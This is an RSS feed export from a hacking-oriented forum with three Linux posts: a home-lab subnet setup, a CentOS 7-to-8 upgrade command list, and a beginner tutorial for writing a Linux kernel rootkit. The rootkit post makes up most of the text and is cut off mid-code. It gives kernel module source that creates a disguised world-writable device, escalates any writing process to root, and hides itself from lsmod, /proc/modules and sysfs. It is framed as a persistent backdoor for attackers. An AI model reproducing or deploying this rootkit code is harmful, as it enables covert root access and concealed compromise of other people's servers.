<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[PwnForums - GNU/Linux]]></title>
		<link>https://pwnforums.st/</link>
		<description><![CDATA[PwnForums - https://pwnforums.st]]></description>
		<pubDate>Sat, 04 Apr 2026 21:20:13 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Building a subnet.]]></title>
			<link>https://pwnforums.st/Thread-Building-a-subnet</link>
			<pubDate>Wed, 31 Dec 2025 07:52:50 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=470431">Inexorable_Baer</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Building-a-subnet</guid>
			<description><![CDATA[I'm building a home lab and wanted to build a subnet. All I have is an unmanaged switch and a Raspberry Pi. You'd think you can just plug a computer into the switch and get an IP address, but you'd be wrong. To set up a subnet, I needed to turn the Raspberry Pi into a DHCP and DNS server. This was accomplished with a tool called dnsmasq and nftables. A cool thing about dnsmasq is that it lets you set the IP range, and since I only had 8 Ethernet ports, I went with 10 IPs in my subnet. I set the Pi up so wlan0 is connected to the WiFi and eth0 is connected to the switch. I set up nftable rules so I could still get internet; ICMP and DNS were forwarded, and I forwarded port 22 so it could be accessed remotely. To test it, I plugged my laptop into the switch, and my Ethernet interface received the IP 10.0.0.4. The tool SSH has a proxy option -J, and if set up properly, you should be able to move around subnets. I was on my home network 192.168.0.1/24  and needed to get to my private subnet 10.0.0.1/24. To do this, I used the command: ssh internal@10.0.0.4 -J jump@192.168.0.40. By editing ~/.ssh/config, I set up the command: ssh internal, so I didn't have to type the IP every time.]]></description>
			<content:encoded><![CDATA[I'm building a home lab and wanted to build a subnet. All I have is an unmanaged switch and a Raspberry Pi. You'd think you can just plug a computer into the switch and get an IP address, but you'd be wrong. To set up a subnet, I needed to turn the Raspberry Pi into a DHCP and DNS server. This was accomplished with a tool called dnsmasq and nftables. A cool thing about dnsmasq is that it lets you set the IP range, and since I only had 8 Ethernet ports, I went with 10 IPs in my subnet. I set the Pi up so wlan0 is connected to the WiFi and eth0 is connected to the switch. I set up nftable rules so I could still get internet; ICMP and DNS were forwarded, and I forwarded port 22 so it could be accessed remotely. To test it, I plugged my laptop into the switch, and my Ethernet interface received the IP 10.0.0.4. The tool SSH has a proxy option -J, and if set up properly, you should be able to move around subnets. I was on my home network 192.168.0.1/24  and needed to get to my private subnet 10.0.0.1/24. To do this, I used the command: ssh internal@10.0.0.4 -J jump@192.168.0.40. By editing ~/.ssh/config, I set up the command: ssh internal, so I didn't have to type the IP every time.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Upgrade Centos7]]></title>
			<link>https://pwnforums.st/Thread-Upgrade-Centos7</link>
			<pubDate>Mon, 10 Mar 2025 08:33:44 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=76548">kingarthurboyle1</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Upgrade-Centos7</guid>
			<description><![CDATA[## UPGRADE CENTOS 7 to 8<br />
<br />
yum update -y<br />
yum install epel-release<br />
yum install yum-utils -y<br />
yum install rpmconf -y<br />
rpmconf -a<br />
package-cleanup --leaves<br />
package-cleanup --orphans<br />
yum install dnf -y<br />
dnf remove yum yum-metadata-parser<br />
rm -rf /etc/yum<br />
dnf upgrade<br />
dnf install <a href="http://vault.centos.org/8.5.2111/BaseOS/x86_64/os/Packages/%7Bcentos-linux-repos-8-3.el8.noarch.rpm,centos-linux-release-8.5-1.2111.el8.noarch.rpm,centos-gpg-keys-8-3.el8.noarch.rpm%7D" target="_blank" rel="noopener" class="mycode_url">http://vault.centos.org/8.5.2111/BaseOS/...oarch.rpm}</a><br />
dnf -y upgrade <a href="https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm" target="_blank" rel="noopener" class="mycode_url">https://dl.fedoraproject.org/pub/epel/ep...noarch.rpm</a><br />
dnf clean all<br />
rpm -e `rpm -q kernel`<br />
rpm -e --nodeps sysvinit-tools<br />
dnf -y --releasever=8 --alowerasing --setopt=deltarpm=false distro-sync<br />
dnf -y install kernel-core<br />
dnf -y groupupdate "Core" "Server with GUI"<br />
init 6]]></description>
			<content:encoded><![CDATA[## UPGRADE CENTOS 7 to 8<br />
<br />
yum update -y<br />
yum install epel-release<br />
yum install yum-utils -y<br />
yum install rpmconf -y<br />
rpmconf -a<br />
package-cleanup --leaves<br />
package-cleanup --orphans<br />
yum install dnf -y<br />
dnf remove yum yum-metadata-parser<br />
rm -rf /etc/yum<br />
dnf upgrade<br />
dnf install <a href="http://vault.centos.org/8.5.2111/BaseOS/x86_64/os/Packages/%7Bcentos-linux-repos-8-3.el8.noarch.rpm,centos-linux-release-8.5-1.2111.el8.noarch.rpm,centos-gpg-keys-8-3.el8.noarch.rpm%7D" target="_blank" rel="noopener" class="mycode_url">http://vault.centos.org/8.5.2111/BaseOS/...oarch.rpm}</a><br />
dnf -y upgrade <a href="https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm" target="_blank" rel="noopener" class="mycode_url">https://dl.fedoraproject.org/pub/epel/ep...noarch.rpm</a><br />
dnf clean all<br />
rpm -e `rpm -q kernel`<br />
rpm -e --nodeps sysvinit-tools<br />
dnf -y --releasever=8 --alowerasing --setopt=deltarpm=false distro-sync<br />
dnf -y install kernel-core<br />
dnf -y groupupdate "Core" "Server with GUI"<br />
init 6]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[A Beginner's Guide to Writing a Simple Linux Rootkit]]></title>
			<link>https://pwnforums.st/Thread-A-Beginner-s-Guide-to-Writing-a-Simple-Linux-Rootkit</link>
			<pubDate>Tue, 24 Dec 2024 09:59:37 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=370703">Ilikecrackers</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-A-Beginner-s-Guide-to-Writing-a-Simple-Linux-Rootkit</guid>
			<description><![CDATA[<span style="color: #e82a1f;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x00.Overview</span></span><ul class="mycode_list"><li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">"Rootkit" means "root kit". In today's context, it refers more to a kind of malware that is loaded into the kernel of the operating system as a driver. The main purpose of this kind of malware is to "reside on the computer and provide a root backdoor" - when the attacker gets the shell of a server again, he can quickly elevate the privilege to root through the rootkit.</span></span><br />
</li>
<li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">Rootkit under Linux mainly exists in the form of "loadable kernel module" (LKM). As part of the kernel, it directly provides services to the intruder with ring0 privileges; when the attacker gets the shell of a computer and elevates the privilege to root through the corresponding vulnerability, the rootkit can be left in the computer to provide a resident root backdoor for the attacker's subsequent intrusion behavior.</span></span><br />
</li>
<li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">However, as part of the kernel, LKM programming is kernel programming in a certain sense, which is closely related to the kernel version. Only LKM compiled with the corresponding version of the kernel source code can be loaded on the corresponding version of the kernel, which makes Linux rootkit seem a bit useless (for example, if the server administrator upgrades the kernel version one day, you will be promoted), and unlike worm viruses, it can spread freely during the service period, but it is undeniable that LKM It is still one of the more mainstream rootkit technologies under Linux.</span></span><br />
</li>
</ul>
<span style="color: #ff4136;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x01. The simplest LKM</span></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #0074d9;" class="mycode_color">The following is a basic LKM template, which registers a character device as an interface for subsequent use.</span></span><br />
<span style="font-size: medium;" class="mycode_size">rootkit.c</span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>/*<br />
[/size]<br />
[size=medium]* rootkit.ko[/size]<br />
[size=medium]* developed by arttnba3[/size]<br />
[size=medium]*/[/size]<br />
[size=medium]#include &lt;linux/module.h&gt;[/size]<br />
[size=medium]#include &lt;linux/kernel.h&gt;[/size]<br />
[size=medium]#include &lt;linux/init.h&gt;[/size]<br />
[size=medium]#include &lt;linux/fs.h&gt;[/size]<br />
[size=medium]#include &lt;linux/device.h&gt;[/size]<br />
[size=medium]#include "functions.c"[/size]<br />
<br />
[size=medium]static int __init rootkit_init(void)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    // register device[/size]<br />
[size=medium]    major_num = register_chrdev(0, DEVICE_NAME, &amp;a3_rootkit_fo);    // major number 0 for allocated by kernel[/size]<br />
[size=medium]    if(major_num &lt; 0)[/size]<br />
[size=medium]        return major_num;  // failed[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    // create device class[/size]<br />
[size=medium]    module_class = class_create(THIS_MODULE, CLASS_NAME);[/size]<br />
[size=medium]    if(IS_ERR(module_class))[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(module_class);[/size]<br />
[size=medium]    }[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    // create device inode[/size]<br />
[size=medium]    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);[/size]<br />
[size=medium]    if(IS_ERR(module_device))  // failed[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        class_destroy(module_class);[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(module_device);[/size]<br />
[size=medium]    }[/size]<br />
<br />
[size=medium]    __file = filp_open(DEVICE_PATH, O_RDONLY, 0);[/size]<br />
[size=medium]    if (IS_ERR(__file)) // failed[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        device_destroy(module_class, MKDEV(major_num, 0));[/size]<br />
[size=medium]        class_destroy(module_class);[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(__file);[/size]<br />
[size=medium]    }[/size]<br />
[size=medium]    __inode = file_inode(__file);[/size]<br />
[size=medium]    __inode-&gt;i_mode |= 0666;[/size]<br />
[size=medium]    filp_close(__file, NULL);[/size]<br />
<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static void __exit rootkit_exit(void)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    device_destroy(module_class, MKDEV(major_num, 0));[/size]<br />
[size=medium]    class_destroy(module_class);[/size]<br />
[size=medium]    unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]module_init(rootkit_init);[/size]<br />
[size=medium]module_exit(rootkit_exit);[/size]<br />
[size=medium]MODULE_LICENSE("GPL");[/size]<br />
[size=medium]MODULE_AUTHOR("arttnba3");[/size]<br />
[size=medium]MODULE_INFO(intree, "Y");</code></div></div></span><br />
<br />
<span style="font-size: medium;" class="mycode_size">functions.c</span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>#include &lt;linux/module.h&gt;<br />
[/size]<br />
[size=medium]#include &lt;linux/kernel.h&gt;[/size]<br />
[size=medium]#include &lt;linux/init.h&gt;[/size]<br />
[size=medium]#include &lt;linux/fs.h&gt;[/size]<br />
[size=medium]#include &lt;linux/device.h&gt;[/size]<br />
[size=medium]#include "rootkit.h"[/size]<br />
<br />
[size=medium]static int a3_rootkit_open(struct inode * __inode, struct file * __file)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    char *param;[/size]<br />
<br />
[size=medium]    param = kmalloc(size + 1, GFP_KERNEL);[/size]<br />
[size=medium]    copy_from_user(param, user_buf, size);[/size]<br />
[size=medium]    param = '&#92;0';<br />
[/size][size=medium]    if (param == '&#92;n')    // like echo 'cmd param' &gt; /dev/rootkitdev, a '&#92;n' will be appended at the end<br />
[/size][size=medium]        param = '&#92;0';<br />
<br />
    // analyze there<br />
<br />
    kfree(param);<br />
<br />
    return size;<br />
}<br />
<br />
static int a3_rootkit_release(struct inode * __inode, struct file * __file)<br />
{<br />
    printk(KERN_INFO "get info");<br />
    return 0;<br />
}<br />
<br />
static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param)<br />
{<br />
    return 0;<br />
}</code></div></div><br />
rootkit.h<br />
<div class="codeblock"><div class="body" dir="ltr"><code>#include &lt;linux/module.h&gt;<br />
<br />
#include &lt;linux/kernel.h&gt;<br />
#include &lt;linux/init.h&gt;<br />
#include &lt;linux/fs.h&gt;<br />
#include &lt;linux/device.h&gt;<br />
<br />
// a difficult-to-detect name<br />
#define DEVICE_NAME "intel_rapl_msrdv"<br />
#define CLASS_NAME "intel_rapl_msrmd"<br />
#define DEVICE_PATH "/dev/intel_rapl_msrdv"<br />
<br />
static int major_num;<br />
static struct class * module_class = NULL;<br />
static struct device * module_device = NULL;<br />
static struct file * __file = NULL;<br />
struct inode * __inode = NULL;<br />
<br />
static int __init rootkit_init(void);<br />
static void __exit rootkit_exit(void);<br />
<br />
static int a3_rootkit_open(struct inode *, struct file *);<br />
static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);<br />
static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);<br />
static int a3_rootkit_release(struct inode *, struct file *);<br />
static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);<br />
<br />
static struct file_operations a3_rootkit_fo = <br />
{<br />
.owner = THIS_MODULE,<br />
    .unlocked_ioctl = a3_rootkit_ioctl,<br />
    .open = a3_rootkit_open,<br />
    .read = a3_rootkit_read,<br />
    .write = a3_rootkit_write,<br />
    .release = a3_rootkit_release,<br />
};</code></div></div><br />
makefile<br />
<div class="codeblock"><div class="body" dir="ltr"><code># Makefile2.6<br />
<br />
obj-m += rootkit.o<br />
CURRENT_PATH := &#36;(shell pwd)<br />
LINUX_KERNEL := &#36;(shell uname -r)<br />
LINUX_KERNEL_PATH := /usr/src/linux-headers-&#36;(LINUX_KERNEL)<br />
all:<br />
make -C &#36;(LINUX_KERNEL_PATH) M=&#36;(CURRENT_PATH) modules<br />
clean:<br />
make -C &#36;(LINUX_KERNEL_PATH) M=&#36;(CURRENT_PATH) clean</code></div></div>We will use this module as a blueprint for modification.</span><br />
<br />
<span style="color: #e82a1f;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: large;" class="mycode_size">0x02. Process privilege escalation</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: small;" class="mycode_size">cred structure</span></span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: small;" class="mycode_size">For each process under Linux, there is a structure cred in the kernel to identify its privileges. The structure is defined in the kernel source code include/linux/cred.h as follows:</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>struct cred {<br />
[/size]<br />
[size=small]atomic_t usage;[/size]<br />
[size=small]#ifdef CONFIG_DEBUG_CREDENTIALS[/size]<br />
[size=small]atomic_t subscribers; /* number of processes subscribed */[/size]<br />
[size=small]void *put_addr;[/size]<br />
[size=small]unsigned magic;[/size]<br />
[size=small]#define CRED_MAGIC 0x43736564[/size]<br />
[size=small]#define CRED_MAGIC_DEAD 0x44656144[/size]<br />
[size=small]#endif[/size]<br />
[size=small]kuid_t uid; /* real UID of the task */[/size]<br />
[size=small]kgid_t gid; /* real GID of the task */[/size]<br />
[size=small]kuid_t suid; /* saved UID of the task */[/size]<br />
[size=small]kgid_t sgid; /* saved GID of the task */[/size]<br />
[size=small]kuid_t euid; /* effective UID of the task */[/size]<br />
[size=small]kgid_t egid; /* effective GID of the task */[/size]<br />
[size=small]kuid_t fsuid; /* UID for VFS ops */[/size]<br />
[size=small]kgid_t fsgid; /* GID for VFS ops */[/size]<br />
[size=small]unsigned securebits; /* SUID-less security management */[/size]<br />
[size=small]kernel_cap_t cap_inheritable; /* caps our children can inherit */[/size]<br />
[size=small]kernel_cap_t cap_permitted; /* caps we're permitted */[/size]<br />
[size=small]kernel_cap_t cap_effective; /* caps we can actually use */[/size]<br />
[size=small]kernel_cap_t cap_bset; /* capability bounding set */[/size]<br />
[size=small]kernel_cap_t cap_ambient; /* Ambient capability set */[/size]<br />
[size=small]#ifdef CONFIG_KEYS[/size]<br />
[size=small]unsigned char jit_keyring; /* default keyring to attach requested[/size]<br />
[size=small]* keys to */[/size]<br />
[size=small]struct key *session_keyring; /* keyring inherited over fork */[/size]<br />
[size=small]struct key *process_keyring; /* keyring private to this process */[/size]<br />
[size=small]struct key *thread_keyring; /* keyring private to this thread */[/size]<br />
[size=small]struct key *request_key_auth; /* assumed request_key authority */[/size]<br />
[size=small]#endif[/size]<br />
[size=small]#ifdef CONFIG_SECURITY[/size]<br />
[size=small]void *security; /* subjective LSM security */[/size]<br />
[size=small]#endif[/size]<br />
[size=small]struct user_struct *user; /* real user ID subscription */[/size]<br />
[size=small]struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */[/size]<br />
[size=small]struct group_info *group_info; /* supplementary groups for euid/fsgid */[/size]<br />
[size=small]/* RCU deletion */[/size]<br />
[size=small]union {[/size]<br />
[size=small]int non_rcu; /* Can we skip RCU deletion? */[/size]<br />
[size=small]struct rcu_head rcu; /* RCU deletion hook */[/size]<br />
[size=small]};[/size]<br />
[size=small]} __randomize_layout;</code></div></div></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">We mainly focus on uid. A cred structure records four different user IDs of a process:</span></span><ul class="mycode_list"><li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Real user ID (real UID): identifies the user ID when a process is started</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Saved user ID (saved UID): identifies the initial effective user ID of a process</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Effective user ID (effective UID): identifies the user ID of a process when it is running. A process can change its user during operation, so the permission mechanism is also authenticated by the effective user ID</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">File system user ID (UID for VFS ops): identifies the user ID of a process when it creates a file</span></span><br />
</li>
</ul>
<span style="font-size: medium;" class="mycode_size"><br />
<span style="color: #44b8ff;" class="mycode_color">Privilege escalation:<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">The cred structure stores the effective uid of the process, so it is not difficult to imagine that if we directly rewrite the cred structure corresponding to a process, we can directly change its execution permissions.</span><br />
<span style="color: #44b8ff;" class="mycode_color">In Linux, the uid of the root user is 0. If we change the uid of a process to 0, the process will gain root privileges.</span><br />
<br />
<span style="color: #44b8ff;" class="mycode_color">Method I. Call commit_creds(prepare_kernel_cred(NULL))<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">There are two functions in kernel space, both located in kernel/cred.c:</span></span><ul class="mycode_list"><li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">struct cred* prepare_kernel_cred(struct task_struct* daemon): This function is used to copy the cred structure of a process and return a new cred structure. It should be noted that the daemon parameter should be a valid process descriptor address or NULL</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">int commit_creds(struct cred *new): This function is used to apply a new cred structure to the process</span></span><br />
</li>
</ul>
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Looking at the source code of prepare_kernel_cred() function, the following logic is observed:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>struct cred *prepare_kernel_cred(struct task_struct *daemon)<br />
{<br />
const struct cred *old;<br />
struct cred *new;<br />
<br />
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);<br />
if (!new)<br />
return NULL;<br />
<br />
kdebug("prepare_kernel_cred() alloc %p", new);<br />
<br />
if (daemon)<br />
old = get_task_cred(daemon);<br />
else<br />
old = get_cred(&amp;init_cred);<br />
...</code></div></div><span style="color: #44b8ff;" class="mycode_color">In the prepare_kernel_cred() function, if the parameter passed in is NULL, the cred of the init process will be used as a template for copying by default, that is, a cred structure indicating root privileges can be directly obtained.<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">Then it is not difficult to think that as long as we can execute commit_creds(prepare_kernel_cred(NULL)) in the kernel space, we can elevate the process privileges to root.</span><br />
<span style="color: #44b8ff;" class="mycode_color">Let's do a simple test: modify the write function to elevate the privileges to root when the user writes to the device:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)<br />
{<br />
    commit_creds(prepare_kernel_cred(NULL));<br />
    return size;<br />
}</code></div></div><span style="color: #44b8ff;" class="mycode_color">A simple test shows that when we write any content to the device, we can elevate the privilege to root.</span></span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Method II. Modify the cred structure directly<br />
As mentioned earlier, the commit_creds() function is used to apply a new cred to the current process. Let's observe the corresponding logic of its source code:</span></span></span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>int commit_creds(struct cred *new)<br />
[/size]<br />
[size=medium]{[/size]<br />
[size=medium]struct task_struct *task = current;[/size]<br />
[size=medium]const struct cred *old = task-&gt;real_cred;[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    ...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">At the beginning of this function, the current process's task_struct is obtained directly through the macro current, and then its member real_cred is modified. Then we can also directly obtain the current process's task_struct structure through this macro in the kernel module, and then directly modify the uid in its real_cred to achieve root privilege escalation.<br />
Then our code can be modified as follows:</span></span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>//...<br />
[/size][/color]<br />
[color=#eeeeee][size=medium]    struct task_struct * task = current;[/size][/color]<br />
[color=#eeeeee][size=medium]struct cred * old = task-&gt;real_cred;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]    old-&gt;gid = old-&gt;sgid = old-&gt;egid = KGIDT_INIT(0);[/size][/color]<br />
[color=#eeeeee][size=medium]    old-&gt;uid = old-&gt;suid = old-&gt;euid = KUIDT_INIT(0);[/size][/color]<br />
[size=medium][color=#eeeeee][size=medium]//...</code></div></div></span></span>[/size]<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">It should be noted that the types of uid and gid are kuid_t and kgid_t encapsulated as structures, and should be assigned using the macros KGIDT_INIT() and KUIDT_INIT().<br />
It can be seen that when we write to the device, the privilege is elevated to root. The difference is that we only modify a few uids and gids, so the original other information will still be retained. You can also choose to modify the others here.</span></span></span><br />
<br />
<span style="color: #ff4136;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x03. Module hiding</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After we load an LKM into the kernel module, users, especially server administrators, can use the lsmod command to find the rootkit you left on the server.</span></span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit&#36; sudo insmod rootkit.ko <br />
[/size][/color]<br />
[color=#eeeeee][size=medium]Password: [/size][/color]<br />
[color=#eeeeee][size=medium]arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit&#36; lsmod | grep 'rootkit'[/size][/color]<br />
[size=medium][color=#eeeeee][size=medium]rootkit                16384  0</code></div></div></span></span>[/size]<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Although we can change the name of the rootkit to something like "very_important_module_not_root_kit_please_donot_remove_it" to disguise it so that users can't find it through social engineering, even a "normal" name can't guarantee that it won't be discovered. Therefore, we need to make it impossible for users to directly discover our rootkit.</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">PRE. Kernel modules in the kernel: module structure</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here is a brief description. In the kernel, the module structure is used to represent a kernel module (defined in /include/linux/module.h). Multiple kernel modules form a bidirectional linked list structure through the member list (kernel bidirectional linked list structure list_head, defined in /include/linux/types.h, with only next and prev pointer members).</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">In kernel module programming, we can use the macro THIS_MODULE (defined in include/linux/export.h) or directly use its macro expansion &amp;__list_module to obtain the module structure of the current kernel module.</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-I. /proc/modules information hiding</span><br />
</span><ul class="mycode_list"><li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">The command lsmod used to view modules in Linux actually reads and organizes the file /proc/modules. The content of this file comes from the module doubly linked list in the kernel. So we only need to remove the rootkit from the doubly linked list to complete the hiding in procfs.</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Students familiar with kernel programming should know that the list_del_init() function is used to perform kernel doubly linked list unlinking operations. This function is defined in /include/linux/list.h. After multiple nesting dolls are expanded, its core is mainly the conventional doubly linked list unlinking. So here we can actually write the doubly linked list unlinking work directly.</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">We also need to consider the impact of multi-threaded operations. Read the system call delete_module source code behind rmmod (located in kernel/module.c), and observe that it uses a mutex variable named module_mutex before entering the critical section. Our unlink operation will also use this mutex to ensure thread safety (after all, we are not here to cause damage directly hhh).</span></span><br />
</li>
</ul>
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Add the following at the end of the module initialization function:</span></span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>static int __init rootkit_init(void)<br />
[/size]<br />
[size=medium]{[/size]<br />
[size=medium]...[/size]<br />
<br />
[size=medium]    // unlink from module list[/size]<br />
[size=medium]    struct list_head * list = (&amp;__this_module.list);[/size]<br />
[size=medium]mutex_lock(&amp;module_mutex);[/size]<br />
[size=medium]list-&gt;prev-&gt;next = list-&gt;next;[/size]<br />
[size=medium]list-&gt;next-&gt;prev = list-&gt;prev;[/size]<br />
[size=medium]mutex_unlock(&amp;module_mutex);[/size]<br />
[size=medium]    [/size]<br />
[size=medium]return 0;[/size]<br />
[size=medium]}</code></div></div></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After remaking our rootkit and loading it into the kernel, we will find that the lsmod command can no longer find our rootkit, and there is no information about our rootkit in the /proc/modules file. At the same time, the functions provided by our rootkit are all normal.<br />
But similarly, whether loading or unloading kernel modules, we need to operate on the doubly linked list. Since our rootkit has been unlinked, we cannot unload it (but the rootkit should stay in the kernel for a long time after being loaded once)</span></span></span><br />
<br />
<span style="color: #44b8ff;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-II. /sys/module/ Information hiding</span><br />
</span><ul class="mycode_list"><li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Sysfs is similar to procfs, and is also a virtual file system based on RAM. Its function is to provide kernel information to user programs in the form of files, including our rootkit module information. Sysfs will dynamically read the kobject hierarchy in the kernel and generate files in the /sys/module/ directory</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here is a brief introduction to kobject: Kobject is the base class of device data structure in Linux. It is a struct kobject structure in the kernel and is usually embedded in other data structures; each device has a kobject structure, and multiple kobjects are linked through a kernel bidirectional linked list; kobjects form a hierarchical structure</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Students familiar with kernel programming should know that we can use the kobject_del() function (defined in /lib/kobject.c) to detach a kobject from the hierarchy. Here we will use this function at the end of our rootkit's init function:</span></span><br />
</li>
</ul>
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>static int __init rootkit_init(void)<br />
[/size][/color]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]...[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]    // unlink from kobject[/size][/color]<br />
[color=#eeeeee][size=medium]    kobject_del(&amp;__this_module.mkobj.kobj);[/size][/color]<br />
[color=#eeeeee][size=medium]    list_del(&amp;(&amp;__list_module-&gt;mkobj.kobj.entry));[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[color=#eeeeee][size=medium]return 0;[/size][/color]<br />
